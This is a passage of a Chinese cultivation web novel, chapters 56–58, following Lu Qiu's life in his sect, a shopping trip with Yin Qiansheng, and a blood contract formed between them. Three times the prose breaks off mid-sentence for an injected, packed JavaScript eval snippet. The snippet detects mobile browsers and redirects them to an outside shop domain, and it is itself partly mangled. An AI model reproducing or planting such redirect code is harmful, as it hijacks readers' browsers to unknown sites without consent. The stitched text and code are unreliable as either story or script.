“怎么可能?”师亦春第一次露出笑容来,甚至还有几分小骄傲:“只要靠近我的□□,神识就会被拉进来,他们是没有防卫手段的。” 陆秋愣了片刻,语气中带上些许不可置信:“那你刚刚怎么不把那家伙拉到幻境中?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395973|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>师亦春趴在他身侧,半张脸蒙在被子中,声音听起来有些委屈:“我当时晕了……” 陆秋回想他那被撞的声响,不由缩了缩脖子,又问:“你是什么时候醒过来的?” “这个……”师亦春眼珠转着:“你们在说话时我就有了意识,不过还是动不了的,等你把我背上楼的时候才开始布置幻境。” “得亏咱俩体型相差不大。”陆秋默默翻了个白眼:“不然我可背不动你,你就等着被拖走吧。” “我很轻的……”师亦春小声嚷嚷。 “我知道。”陆秋躺回去,只觉困意上涌:“我先睡一会,睡醒就恢复了。” 半晌没听见师亦春回话,他干脆闭上眼,自顾自睡去,只等恢复了精力再和对方讨论接下来的事。 这一觉睡的格外香甜,没有做梦,醒来时浑身灵力运转都顺畅了,不用想都知道这是师亦春的功劳。 陆秋慢吞吞的从储物戒中翻出套衣服来,见师亦春不在房内,便变回了十几岁的模样,刚穿好里衣就听有人推门,还没来得及回头,那人又急忙退了出去,连连道歉。 他为什么道歉?陆秋脑子还不清醒,随意将带子一系便快步走过去,将门拉开,探头与门外的师亦春对视,不解道:“怎么不进来?” 师亦春立刻移开视线支支吾吾解释:“你在换,换衣服……” 见他这幅模样,陆秋只好叹气回道:“好吧,你先等一下,我换好再喊你。” 楼无别曾经说过,他们能一遍遍重复未来不同的命运,可这师亦春看起来傻傻的,难道是太弱,还没到能预知未来的程度? 二人谈了一会,可对于师亦春的去向依旧没定下来,愁的陆秋抱头不知所措,最终只能干巴巴说道:“你……要不然还是上山找个地种吧,先修炼,把修为提上去再说。” “我考虑一下。”师亦春也只好妥协,毕竟自己刚来到就碰见个许痕,这心理阴影恐怕都要成心魔了。 最终陆秋还是带着他去买了几套衣服,以黑为主,又挑了些面具,至少让师亦春从外表上看起来不是那么好欺负的。只是这样还有些不够,陆秋打量着师亦春,看着这堪称纤细的身形不知怎样才能更有威慑力些。 若是体修,那肌肉格外发达,穿的稍微暴露些便是,可对方这小身板,除非是法力高强…… 陆秋思索再三,最终从芥子空间中挑出条蛇骨手链来,反正自己对这手链无感,平日里不会戴,不如送给师亦春玩。 若真是找去处,陆秋倒是有个主意,他边给师亦春系上手链,边让店主拿了那身黑紫配色的衣服。若是论刻板印象,那种看着弱不禁风的人,大多是毒吃多了,如果师亦春能打扮成擅长巫蛊之术的修士,自然是越瘦越好。 再往手腕上纹个蛇就更像了。 但师亦春乖得很,问他要不要纹身,他连连摇头拒绝道:“不要,纹了看起来很怪。” 也就在外逗留了几日,师亦春便学会了怎么装出世外高人的模样,只要不说话,往那里一站就有了十足的气势。陆秋算是完成件任务,送师亦春坐上去南方的车,自己才慢慢走回落霞宗。 56. 合作(1) 落霞宗条件好,封闭性强,所以对于很多弟子来说能知道的事情仅限于宗内的事务,或是周边哪些衣服有了新样式,胭脂有了新颜色。又这样过去了三个月,直到第一场雪落下,这种枯燥的生活才有了一丝改善。 那日清环正一件件擦拭着自己的首饰,陆秋在一旁整理抄录,只听窗外阵阵鹤鸣传来,探头一看,几个身着白衣红冠的道士在主楼前站的笔直,像是在雪中站了许久,斗篷上还有雪一块块的滑下。清环摇着头放下手帕,起身捞过搭在椅背上的红披风就飘出去,只留陆秋在屋内好奇的盯着那群人看。 清环下去和为首的那人说了几句话,就带着他们去了主楼,看着和自己没什么关系,他也就没再关注,在心里盘算着还有几个月要过年,到时候要去哪里,买什么,还得回滨水宗看望老头和莲花仙人,顺带和也要感谢夜千做的标记,还有褚浣…… 褚浣和他没少联系,能在这种封闭条件下获得这么多外界消息,最大功臣还得是褚浣,虽然嘴巴毒了些,但人不坏,硬要说的话就是和清环一个样子。 他想回滨水宗,但一想到还有个云栖月在里面处处有眼线他就头疼。早知道就一声不吭的离开了,也不知道自己当时是怎么了非要留个空白字条,现在尴尬的都不知如何面对对方。 说是不知怎么面对,其实还是怕自己再被卷入其中。 那就在年前找个时间约褚浣出来就是。陆秋现在也整理不进去了,索性放下书躺在地上,心道地暖就是好,现在都不知道以前过的是什么苦日子了,现在每天吃喝玩乐一件不落,炼体修行也没停下,在学音律的同时还加上了首饰的打造学习,竟然还觉得生活悠闲。 如果没有检查那么严格就好了。陆秋叹气。他也数不清自己抄了多少遍经文,反正被罚的理由千奇百怪,譬如被子的开口朝外就被视为内务不整,茶水倒的超了线就是没有规矩,走路步子大了都是没教养,反正在长老和掌门面前自己呼吸都得憋着,要不是大雪天没任务,他也早跑出去了。 “怎么睡在这里,当心着凉。”清环进来就看见陆秋躺在地上,看着地板上的纹路仔细打量了一下陆秋:“我怎么觉得你又长高了,以前才占两块多一点地板的。” “真的?”陆秋立刻爬起来,站的板板正正的在清环面前和他比身高。 “长高了。”清环手掌绷直从陆秋头顶划到了自己眉骨处:“以前只到我鼻底,现在都到我太阳穴了。” “那是我还在长身体的阶段。”陆秋又高兴起来了。 “看来平时练体还是有用的。”清环也附和着:“要争取比我高哦。” “我才十七呢,绝对能比你高的。”陆秋又问:“刚刚那些人是谁?” “玉凰宗的人。”清环解下外衣随便一折就搭在一旁椅背上,自己理理裤子也在坐在地板上。 “他们来做什么?” “讨债。”他单手托腮,另一只手画着圈:“每年下雪的时候他们都会来。” “要是不下雪呢?”陆秋非要挑刺。 “那就冬月十五来要。” “咱们不是很有钱吗,当场买就够了,怎么还有欠的钱?” “因为我们平时用的很多东西全是从他们那里购置的,太多了就懒得一笔笔给,直接等年尾一起付。” “要是给不上呢?” “那就……”清环回想着:“还真没有还不上的时候。” 陆秋被这种财大气粗的模样无语到了,又转向了年底考核上:“我们什么时候考核?” “冬月十五开始,考三天,考完就可以出去了。”说到这里清环也高兴,毕竟这是为数不多的离宗时间。 “那什么时候再回来?” “等来年二月二就能回来了,但规定长老们开始授课的时间是二月十八。” “也就是说我们从冬月十八能一直放到二月十八?”陆秋一算这有两个月,赶得上半个下半年的在宗门时间了。 “嗯,但是想在宗里呆着也没问题,反正一切都是正常使用的。” “你有去哪里的打算吗?”陆秋心里还没有个大概,便问问清环的想法,给自己个参考。 “去秘境。”清环右手戴着的金镶玉镯子贴着他的手腕转了一圈,在前方画出个小秘境的模样:“年底都准备着过年,秘境的人就少了,这段时间多去看看。” 清环是原生弟子,除了落霞宗自然哪里也去不了,长老们也离开了,他倒是不用筹备太多的东西,只用随自己的意去玩就是。 “你都是怎么知道有秘境的?”陆秋一直佩服清环收集信息的能力,和自己一对比自己只能用惨烈来形容。 “多出去跑任务。”清环说的轻松:“多去做一些能巩固你人际关系的,多认识些人没害处的。” 陆秋表情和吃了苍蝇一样:“那些老爷也……” “那些是一次性的,你要认识的是能长期用的。”清环拍他脑袋:“你想什么呢,要真想抱大腿就去找玉凰宗的,保证让你抱个够。” “不了不了。”陆秋头都摇成拨浪鼓了:“我跟人家又不熟,就算熟了也不能这么熟吧,还是靠自己最稳妥。” “自力更生,挺好。”清环咂咂嘴:“比起想着去哪里,我觉得现在你更需要把考核要背的书给背下来。” “我背的差不多了。”陆秋嘴硬。 “行,你随意。”清环话音刚落,门就被敲响了,两长三短,一听便不是落霞宗的人。两人对视一眼连忙从地上起来,清环去开门,陆秋假装忙着整理书籍,他这才真正看清了门外人的模样。 那人国字脸,五官端正大气,眉心至美人尖一条红色仙纹,眼眸清亮,嗓音介于少年与青年之间,气质却有种说不上的成熟感。 “要走了?”清环抱胸问那人。 “嗯,过年我来接你。” “接我做甚,我还得忙的。” “不是去秘境吗,我们一起去也安全些。”那人看似理直气壮,但语气中的态度已经放得不能再低了。 两人到底什么关系?陆秋心里痒痒,但也不好多嘴,书都收拾整齐了他还得一遍遍假装整理,翻书翻的手都疼了但就是想听。 幸亏清环一直堵在门口没让那人进来,陆秋才能这么肆无忌惮的偷听,不然面对着生人双方都尴尬。 对话最后也只是以“到时候再说”结束,但其中的信息量却让陆秋一时半会没有消化过来。 之前也听江舟说过一些事情,清环原家庭是浮海城土著,几岁时因家破人亡而被现掌门带到了落霞宗作了原生弟子。按照清环武器使用推测的话,他应当来自剑修家族。 剑修的被灭门率是最高的,因为人数多,同门间难免会有纠纷,更不必提其他修士的刁难了。再说了,浮海城本来也不是什么太平之地,被赶尽杀绝的每年都有,他估计清环也是那不幸之一。 不过和他也没什么关系,因为陆家只在余月活动,陆夕月和秋络更是懒得和人打交道,别人再报仇也找不到他身上,便又放下心来。 送走那人,清环扭头对上陆秋试探的目光,无奈道:“好友罢了。” “过年都得在一起的好友?”陆秋故意用贱兮兮的语气问他。 “你懂什么,那是我的金大腿,不得好好抱着?”清环拍拍袖上的凉气瞟了眼陆秋,陆秋当然知道他在开玩笑,于是也说:“金主要带你,你还不出去,脾气真大。” “我脾气就是大!”清环一边这样说着一边扑向陆秋,作势要掐他的脸,陆秋弯腰从他腋下躲过那双要作恶的手,双手捂脸绕着桌子跑。两人笑着闹成一团,原先的复习计划都被打乱了,不过对他们来说都无所谓,毕竟只有玩乐才是他们的主任务。 “逮到你了!”清环实在没有耐心跟他绕圈了,轻盈跳上桌子,半蹲着捧着陆秋的脸就在他额头用力一印下一吻。 热气打在脸上,陆秋也忍不住笑出声来,直到笑够了,二人才停下收拾乱糟糟的桌面。 “还打算接任务吗?”清环把手里的书页竖起在桌面磕了几下,直到边边角角都对齐了才堆到桌面。 “我昨天还去令火堂看呢,除了几个老任务,都没新的了。”陆秋也放下手中活计,有些遗憾:“平时抢不到,抢得到的不想做。” “你得找人。”清环从袖中拉出一条红线来,线上栓了十几个牌子,一看都是近一个月的新任务,直接把陆秋看呆了。 “啊?”陆秋看着这一串的牌子惊得说不出话来,只会“啊”。 “只教你一次。”清环拎着线头晃了几下,啪啦声和他的声音叠在了一起,像是在给他伴奏:“你应该和秋花关系还不错,就是那个话很密的小矮个,她是最常呆在令火堂的,下次去记得带点甜食,多和她聊聊天。” “带什么类型的甜食?”陆秋还真没见过那位师姐吃过什么东西,也怕买了人家不合口的。 “你自己问嘛,我只是教你。”清环把牌子一收,低头悄悄对他说:“快点哦,晚了可没好的了。” 陆秋一听知道问清环时没戏了,只好悻悻闭了嘴,在心里开始规划等雪停了该走哪条路能最快买完点心。 还有尹浅笙。陆秋掐指算了算,也有段时间没见了,平时在落霞宗都是别人逗他,他偶尔也想逗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好吧。”陆秋暂时放下了这个念头:“要不要一起出去走走,快过年了,得置办点东西。” “没问题。”对面答应的利索:“什么时候?” “还是看你的时间,我都有空。”陆秋托腮思考:“不过今天有点晚了。” “明天?” “明天……明天有晨练,嗯,可以,等我晨练结束就能出去了。”陆秋也觉得可以,又嘱咐尹浅笙:“你不用来的很早,不然还要等着,我是落霞宗的,顶多在门口坐一会。” “嗯。” “你要不要再睡一会?”陆秋听着他好像还没醒,突然觉得自己也挺冒昧,把人家吵醒就是为了这点小事。 “没,也该醒了。”尹浅笙依旧是哑的,但精神好了很多:“那明天见。” 明明都说过了不用来的这么早,但当第二日陆秋已经以最快的速度冲到宗门大门时,尹浅笙已经在外面等了有好一会了。 今日无雪无风,可挡不住空气中的那股子冷劲,也不知是浮海城本就这么冷,还是在落霞宗没受过冻,陆秋只走了一小段路就觉得鼻尖已经开始酸了,但用灵力维持温度又太过奢侈,最后想了想还是多加一层天青绣花棉袍,又在棉袍内侧贴了两张供暖符才觉得舒适不少。 尹浅笙本在靠着墙发呆,但听到皮靴踏地的声音时便立刻回神,望向一路小跑而来的陆秋。 应该是太久没见,两人之间生疏了几分,尤其是尹浅笙,只会和木头桩子似的杵在那。陆秋知道他性子闷,便不难为他,自己拿过主动权:“来多少时间了?” “刚到没多久。” 陆秋仅是往他身边一站就感受到寒意扑面而来,不用读心都知道这是假话:“你再骗我?” “一小会。”尹浅笙知道自己身上有冷气,立刻改口:“外面凉些,站一会身上就有凉气。” 陆秋拉过他的手,发觉摸着跟块冰似的,不悦道:“隐月教都没有衣服给弟子穿了吗。”他边这么说,边把棉袍脱下给尹浅笙穿上。那棉袍穿在他身上能到膝弯,但在尹浅笙身上却到了小腿。 不知怎的,陆秋手掌伸平,从尹浅笙头顶比划了一下,发现以前只有自己下巴那么高的人现在竟然只比自己矮了半个头。 尹浅笙貌似知道他在想什么,默默地往下屈膝弯腰,直到头顶与陆秋胸口平齐才抬头望着陆秋。 两人面面相觑,陆秋先笑了,轻轻掐着尹浅笙的脸:“不用这样,我只是有点惊讶你怎么能长的这么快。” 57. 合作(2) “带跑跑出来了吗?”陆秋让他站直,刚刚身上的热气散了不少,他开始用灵力绕在身边取暖。尹浅笙手心向上一翻,跑跑就突然出现并整个趴在了他的手上,陆秋接过去抱着,只觉得跟抱了个暖炉似的,不禁发出疑问:“你在这等着怎么不抱着跑跑,还能当个手炉暖和一下。” “他太重了。”尹浅笙终于露出笑容。 “走吧,去看看买点什么?”陆秋用脸蹭蹭跑跑的毛发,心想这照顾的是真好,不仅肥了一圈,甚至还爆毛。 陆秋起初只想着把点心都买一遍,但只能说漂亮东西太多,把他迷得团团转,半日下来直到正午才只买了几身衣服和十几款发饰,反而尹浅笙才是真来买过年用的物资的。 午饭不用吃,因为二人边走边吃现在都撑得胃有些发疼了,便随便找了个路边摊坐下休息,只是陆秋又吃了颗丹药维持精神,以免因为没睡午觉而头疼。 “你过年去哪里?”陆秋把新买的饰品一件件挑好,打算送一些给师兄师姐们。 “在教会里。” “你是原生弟子?” “嗯。” 陆秋明白了,估计今天尹浅笙能来都是申请说要买东西,不然也没这么多的自由时间。但他转念又想,他们貌似每天都在做任务,好像管理也不是很严的样子,不由问道:“你们每天都做什么?” “接任务。” “还有呢?” “没了。” “啊?”陆秋还是有些不相信:“那长老不教你们一些招式吗?” “不教。” “那你们出来不就是挨打吗?” “就是挨打,打着打着就会了。”尹浅笙像是觉得这样有些抹黑隐月教,又急忙解释:“也有些功法是师兄带着练的,不是什么都不教。” 陆秋半张着嘴,表情一言难尽:“所以还是从挨打开始不是吗?” “额……都这样。” “先不说这个。”陆秋感觉自己都要被气晕了,隐月教还是大教会,远近闻名的那种,怎么内部管理那么松散:“你在隐月教有职位吗?” “没有。” “你在隐月教呆了多久了?” “四岁被教主买回去的。” 听到“买”这个字时,陆秋感觉刚刚吃的丹药一点用都没了,反而头更痛了,先不说买人对不对,就说买的不应该比捡的更珍贵吗,为什么尹浅笙看起来和天天吃不饱饭似的。他想了一下该如何和对方表达他此刻的疑惑,但疑惑的点太多,一时竟不知如何说起。 “你……你们教会一般每月发多少补助?” “五百灵石,但教主一般也会视情况多给一些。” “也行。”陆秋在心底算了一下,貌似还是不够,又问道:“任务有具体收入吗?” “没,一般想接多少的就接多少。” 陆秋这下真的抱头不知说什么了,他甚至不知道这个教会是怎样维持下去的,但他也不好说什么,只能叹气道:“还是要对自己好些。” 尹浅笙望着他不知在想什么,没有答应,但也没有拒绝。 下午他们几乎把所有糕点铺子都逛了一遍,陆秋撑得吃不下去,所以就把所有种类都先买了一块给尹浅笙尝,好吃的再多买些。记不清喂了尹浅笙多少块糕点,反正他想着这一轮吃完回去少说能胖两斤。最后就连尹浅笙都面露难色,连连摆手不吃了,陆秋才注意到芥子空间几乎要被点心叠满了。每样也只有两盒,但架不住种类多,所以今日的采购就只能到此为止了。 二人又借消食为由,一直就这么溜到了天黑,街上门市都点上了灯笼,暖光照在脸上泛着热,陆秋现在没穿棉袍也有些出汗了,他扭头问尹浅笙:“你热不热?” 尹浅笙以为他冷,要把棉袍脱下给他,被陆秋打断了:“我感觉很热,你不热吗?”尹浅笙听到这话摇头,陆秋不信,手掌向上让尹浅笙把手给他。尹浅笙照做了,但手刚放上去就把陆秋冰得一哆嗦,陆秋强忍着没抽手,问:“你体寒吗?” “我是冰灵根……” 陆秋在这个瞬间貌似想了许多,但又好像什么都没想,因为他大脑一片空白。都说冰灵根百年难一遇,怎么这随便就给他碰上了,以前他还想要是有冰灵根的修士能辅助他写心法就好了,现在尹浅笙就和硬赶他面前似的过来了,倒是让他不知所措起来。 “你的灵根有修炼心法吗?”陆秋再次确认。 “还没有,冰灵根太难找了,所以我是体修。” “你和我来。”陆秋已经下定决心今晚不回落霞宗了,给清环发了个消息直接拉着尹浅笙进了附近一家客栈,订了上房撂下一句“什么都不用管”,便在掌柜和小二意味深长的眼神中急匆匆去了屋内。 尹浅笙不知道他要做什么,但很明显的是他也想岔了,在陆秋关上门并往上贴隔音符时磕磕绊绊的说:“那个……双、双修也得有点准备……” 陆秋懒得和他解释,几步迈到尹浅笙面前,神色有些激动:“给你看个好东西。” 正当尹浅笙认为他要掏什么不可言说的东西时,陆秋却掏出了一本书来。看着不太像什么污秽书籍,但他也没放下警惕,直到陆秋翻开里面的几页开始给他解释。 “我刚好有本冰灵根的心法,对你的修炼应该有很大帮助。”陆秋说到这里把心法合上,和尹浅笙对视:“但我也有要求。” 尹浅笙屏住呼吸,等着陆秋说出他的要求:“这心法虽对我没用,但我自创心法需要有人辅助。” “怎么辅助?” “你只用融会贯通了就好,然后把感受与灵力使用的方式告诉我。”陆秋拿着心法在他眼前晃了晃:“这已经是很简单的要求了。” “这心法是哪里得到的?”尹浅笙没有接话,而是谨慎的问了心法出处。 “在一次秘境中找到的,你拿回去看看,不适合的就不练,找一些安全的学。” 两人僵持了一阵,在陆秋期待又紧张的眼神下,尹浅笙像是下定了决心接过心法,但还是有些迟疑:“我若是将心法私吞了呢?” “这点我想到了。”陆秋又不知从哪儿拿了份契约卷轴出来摊在桌面上,笑眯眯的说:“要么签契约,要么和我订契约,选一个吧。” “订契约的话,能直接感受到对方的状态吧?”尹浅笙这么问着。 “嗯哼。”陆秋心里直打鼓,但已经笑眯眯的,虽然他心里是想和尹浅笙订契约,来压制之前柳容柯的反噬,但他也不能明说,只好交给尹浅笙选择。 “你想选什么?”尹浅笙不接他的选择,反而把主导权交给陆秋。 “订契约方便些。”陆秋没有直着说明。 “那就订。”还没等陆秋反应过来,他就用匕首割破了手掌。趁着伤口还只有血珠的时候,尹浅笙将手掌送到陆秋唇边催他:“快,等会血流得多了会弄脏你的衣服。” 陆秋立刻侧头轻轻舔舐那道伤口冒出的点点殷红,无师自通般在尹浅笙左掌留下了一个印记。印记如升腾的火焰般盖住了半个掌心,与此同时,陆秋的左手手掌也浮现出一个中间有复杂镂空的白色菱形印记来,代表契约签订成功。 尹浅笙收回手,只是把溢出掌心的血液擦了擦,这次陆秋看清楚了,那些血液又缓缓流回伤口,等到血液全都流回,伤口也在自我愈合。像是感到了不对劲,陆秋第一次见到尹浅笙这种困惑的表情,他不知有什么问题,便等尹浅笙自己开口。 尹浅笙微微歪头,语气都带上了不确定:“怎么感觉,有很多的气息。” 陆秋立刻明白他指的是什么事情,羞涩一笑:“忘了和你说,人有点多。” 尹浅笙这次表情是真的惊了,虽说契约也可以销毁,但也没见过像陆秋这样敢留这么多契约的。 陆秋见他这样,掰着手指跟他算:“也不是很多,一个羽人,一条蛟,一位鹿人,一个石像,还有一个,嗯,说不上来。”莲花仙人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395975|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好下定义,干脆就一带而过,于是继续往后说:“就这几个,不过我隐去了和他们的连接,只能我主动发起连接,除非在见面时直接认出我来,不然他们是找不到我的,你放心就好。” 半晌,尹浅笙回过神来,像是接受了自己还有许多同僚这事,陆秋双手掐腰,解决了心头大事让他心情都畅快了几分,便问:“还有什么问题吗?” 不过尹浅笙犹豫着,问出了他都没想到的问题来:“你是受到了什么……诅咒吗?” 陆秋不太确定他感受到了什么,只能试探性的说:“说详细一点,我暂时想不到。” “在尾骨。”尹浅笙迟疑着回答:“周期性的,会痛。” 陆秋一怔,没想到他竟连这个都感受的出来,点头承认:“有,也是契约,但并不是对方愿意的,所以有了反噬。” “你为何会和不愿意的人订下契约?”尹浅笙不可置信的看着他,等着一个解释。 “他在我不同意的情况下给我打了监视印记,还让我帮他寻找重要之物恢复力量,我担忧他恢复后会伤我,便也用了些手段,和他订下契约,他觉得自己吃亏了,便每个月都会有反噬来报复我。”陆秋说着,还侧过身去给他在后腰处比划:“通常脊柱一条都痛,而且加上灵根不稳定,在反噬的时候只能在水里泡着。” “会发烫吗?”尹浅笙隔着衣物摸上那块骨头,只觉得这人太瘦,一点肉都没有,不应因为极致追求清瘦而变得皮包骨。 “烫的能把普通的水池烧开。”陆秋觉得有些痒,不禁抖了一下。 尹浅笙收手,手指不自觉轻搓:“普通反噬不应该是这样的,你说的更像是增强了你灵根的力量。”不过他也说不上到底哪里不对,只能选择再多观察些情况:“下次反噬你可以试试喊上我,冰灵根应该能压制住。” “快了,反正能心通,你有事也可以叫我。”陆秋似乎是觉得闷了,打开窗子让冷风把屋内的热气带一些出去,又想起来尹浅笙那冰块般的身体,扭头问他:“你冷不冷?” “我感觉不到冷的。”尹浅笙摊手:“我对温度是没有感觉的,无论怎样身体都是冰的。” 听他这么说,陆秋和他开玩笑:“那你要是和人家打架,你往地上一躺,不呼吸,脉搏也压低,人家不就以为你死了?” “因为这个体质才逃过好几次追杀的。”尹浅笙这会又诚实了,让陆秋话都说不下去。 “嗯……好吧,今晚要不然就别回去了,冬天晚上还是很危险的。”陆秋把被褥抖开,又使唤尹浅笙:“你去看看那柜子里还有被褥吗?” 尹浅笙拉开柜门,将另一套被褥抱出来,但没放在床上,而且站在原地看着陆秋。陆秋看他傻傻站在那里,不知他又在想什么,便催他:“过来睡啊。” 尹浅笙这才过去整理床铺,陆秋以为他是想下床方便才选择睡外侧,便也不管他,自顾自贴了几张供暖符把床暖热了,心满意足的睡在内侧。等到熄了灯,尹浅笙也躺在床上了,陆秋感觉对方十分的不自在,主动开始找话说:“你都是自己睡吗?” “嗯。” “在教会没有室友吗?” “没有。” “那我是第一个喽?”陆秋侧着身子,一手撑着头,上半身支起,想在黑夜中看看尹浅笙是个什么反应。 尹浅笙和他对视片刻,虽然看不出表情,但眼神却是透彻的:“嗯。” “荣幸。”陆秋头发也解开了,他玩着自己的头发,又问:“还没问过你呢,你们为什么头发最长都只到锁骨?” “因为长了不方便。”尹浅笙放轻了声音:“不方便打理,有时也会成为弱点。” “也是。”陆秋打了个哈欠,今天没睡午觉,现在丹药的药劲也过了,困意止不住的上涌把他都蒸出眼泪了。他慢慢趴下,将头埋在枕中,和说悄悄话似的对尹浅笙道晚安。 过了好一会,尹浅笙才把视线移开,自言自语轻声道晚安。 58. 合作(3) 再睁眼时外面还是还是黑漆漆一片,也不知到底飘了多长时间的雪花,窗沿上都积了厚厚一层雪,就连推窗都有些吃力。 冬日总能让人有种倦怠感,即使是清醒了,也不想离开床铺。陆秋仿佛又听到了落霞宗的敲钟声,起初还感慨自己真是勤奋,都出现幻听了,但再一细听才知道原来那是真的钟声。 这个客栈离那敲钟处得有五里,既然这都能听见钟声,为什么他在滨水宗的时候却听不见? 记下这个问题,他又转头看向还在睡梦中的尹浅笙,发现对方眼下淡淡的青黑色,不自觉感叹对方平日生活真的很艰辛。不知盯了有多久,他突然听到了对方的心声。 陆秋一愣,确定了自己并没有使用读心,而且二人也没有心通。 一种不妙的感觉油然而生。他明明都很注意避开使用秋络教他的心法了,怎么现在心法作用不减反增。仔细想想,这种情况貌似在半年前就出现过,但他还以为是人多,心法出了岔子就没有注意。 尹浅笙也装睡不下去了,有些不自在的睁开眼,一下就和正发呆的陆秋对上了眼。二人都不知对方在想什么,直到陆秋回神,若无其事的捏捏尹浅笙的脸颊:“醒了?” “嗯。”尹浅笙坐起身,看着还有些迷糊。 “前天就听着你嗓子哑了,怎么今天还是这样?”陆秋担心是不是昨天喂得点心太多,把人给齁到了。 “变声期。” 陆秋下意识摸摸自己不是很明显的喉结,突然担心自己一直服药,嗓音会变细,最终变为女音。不过也就是想想,他又不是这辈子就待在落霞宗了,所以很快把这个念头抛之脑后。 两人又等了一会,直到天微亮,外面传来叫卖声才穿衣起床。陆秋穿好温襦坐在床边,尹浅笙把提前暖好的棉袍给他披上,半蹲在床边给他系扣子。陆秋懒得再盘头发,只用根黑檀木簪子简单把头发挽了个结,把那些发扣发钗都收回芥子空间才蹬上短靴下床。 陆秋昨晚已经付过钱,今日只用和掌柜说一句退房就可,掌柜的也是个人精,没有多嘴,也收着态度不乱看。 但这并不能代表别人看不见,比如他刚走出客栈门口就和偷跑出来的江舟碰了个正着。江舟拉着楼无别,陆秋身后跟着尹浅笙,二人心惊胆战对视片刻,江舟瞪眼指着他刚要开口,就被陆秋一把捂住嘴带到一旁巷子中。 “你没晨练?”陆秋率先开口,不让江舟有质问自己的机会。 “我,我请假了。”江舟不甘示弱,他又看向跟进来的尹浅笙,满脸写满了震惊:“你俩怎么认识的?还一大早从同一个客栈出来,你,你不会……”他看着陆秋,说不出话,看起来都要被憋死了。 “我俩只是睡个觉,你别乱想。”陆秋说完看见江舟更不对劲的脸色,又匆忙解释:“就是睡觉,不是你想的那样,不是,我……”他感觉越描越黑,自己也支支吾吾解释不清楚了。 “他还没成年!”江舟缓了一下:“不对,你也没成年,你们怎么能……” “你怎么不说你俩什么关系!”陆秋反问江舟,把人堵得说不出话。 江舟向后仰去,楼无别赶紧从后面撑住他,以免他真的倒下去,同时还不忘补刀:“我都劝你最好晨练完出来了,你非要现在出来。” “你也没说会是这种事啊!”江舟气得直翻白眼:“你也不拦我,我说出来你就只劝一句,你但凡说有这事我还出来吗?” 尹浅笙都没来得及打声招呼,看着江舟那副模样又默默闭了嘴,站在陆秋身边看着。陆秋右手轻握他的左手晃了两下,示意不用担心,等感觉到尹浅笙紧绷的情绪放松了下来才慢慢松开。 不知是不是签了契约的缘故,他感觉尹浅笙的手不像昨日那般冷了,反而微微透着些暖意。陆秋不确定的看了眼尹浅笙的穿着,还是昨日那身黑色劲装,配着银丝勾勒的宽腰带,没有多添衣物。 契约还能治体寒?陆秋心道这下长见识了,但没当着这么多人的面说出来。 江舟不闹腾了,两人一致决定假装没看见对方,但陆秋想了想又不愿意了,于是又避开那二人私聊, “你的事宗门上下几乎都了解,无论是楼无别还是你逃课,大家都心知肚明,”陆秋抱胸眯起眼来:“我在宗门里貌似也没多少人注意过,你那嘴要是哪天‘不小心’漏了风声呢?” “哪里的话。”江舟摆手,笑容怎么看怎么心虚:“我嘴还是很严的好吧。” “真的?”陆秋语调拔高:“那平时做指甲的时候说的都是什么东西啊?” “我绝对不往外说!”江舟双手合十,满脸无奈:“跟你过不去我不是找不痛快吗,你要真被议论了清哥不得半夜砍了我的头。” 陆秋知道清环在落霞宗弟子里几乎算得上是一手遮天的存在,所以江舟这么一把清环搬出来,他也就信了大半,不再和江舟理论,只是轻哼一声,警告道:“你最好是。” 江舟见他不追究了,又嬉皮笑脸开始问:“你们怎么认识的?” “你觉得在这里聊合适吗?”陆秋露出和清环如出一辙的笑来:“回去再说,楼无别能等你,我可不想让尹浅笙在这雪地里冻着。” “行。”江舟眼神中带上了一点嫌弃:“还挺会心疼人的。” “又没心疼你,你凑什么热闹。”陆秋往外走,又回头警告:“那嘴严实点啊,听见没有?” “两只耳朵都听着了。”江舟笑嘻嘻的:“你也别忘了回来给我讲。” “无聊。”陆秋没再理他,到巷子口和楼无别打了个招呼,就拉着尹浅笙离开了这里。确认他们看不见自己时,陆秋才松手,轻抚胸口:“还以为他又要到处乱说了。” “他会乱说什么?”尹浅笙好奇。 “还能是什么。”陆秋每次想起都会感到尴尬:“我有个上不得台面的相好的呗。” “怎,怎么会这样想。”尹浅笙都吓得结巴了。陆秋看他当真的模样确实好笑便安慰他:“都是些玩笑,你不用当真的,平时在宗门太闷,没什么乐子,都会开玩笑的。” “你们平时不能出来吗?” “能,但是很难。”陆秋垂着头,一手摸上后颈凸起的骨头,回忆着:“而且里面管得超多的,比如我现在穿的模样回去就得挨骂,又是头发没有好好打理,又是没注意仪态的。” “还会有什么惩罚吗?” “有,得抄书,我都快抄吐了,而且里面都是些迂腐东西,都不像是人该遵守的规矩。” 尹浅笙担忧的望着他:“你怎么才能出落霞宗?” “有任务自然就出来了。”陆秋转着食指上的戒指:“不过快过年了,给我们的任务也少了,好在还有一个多月就要放年假了,到时也能自由些。” 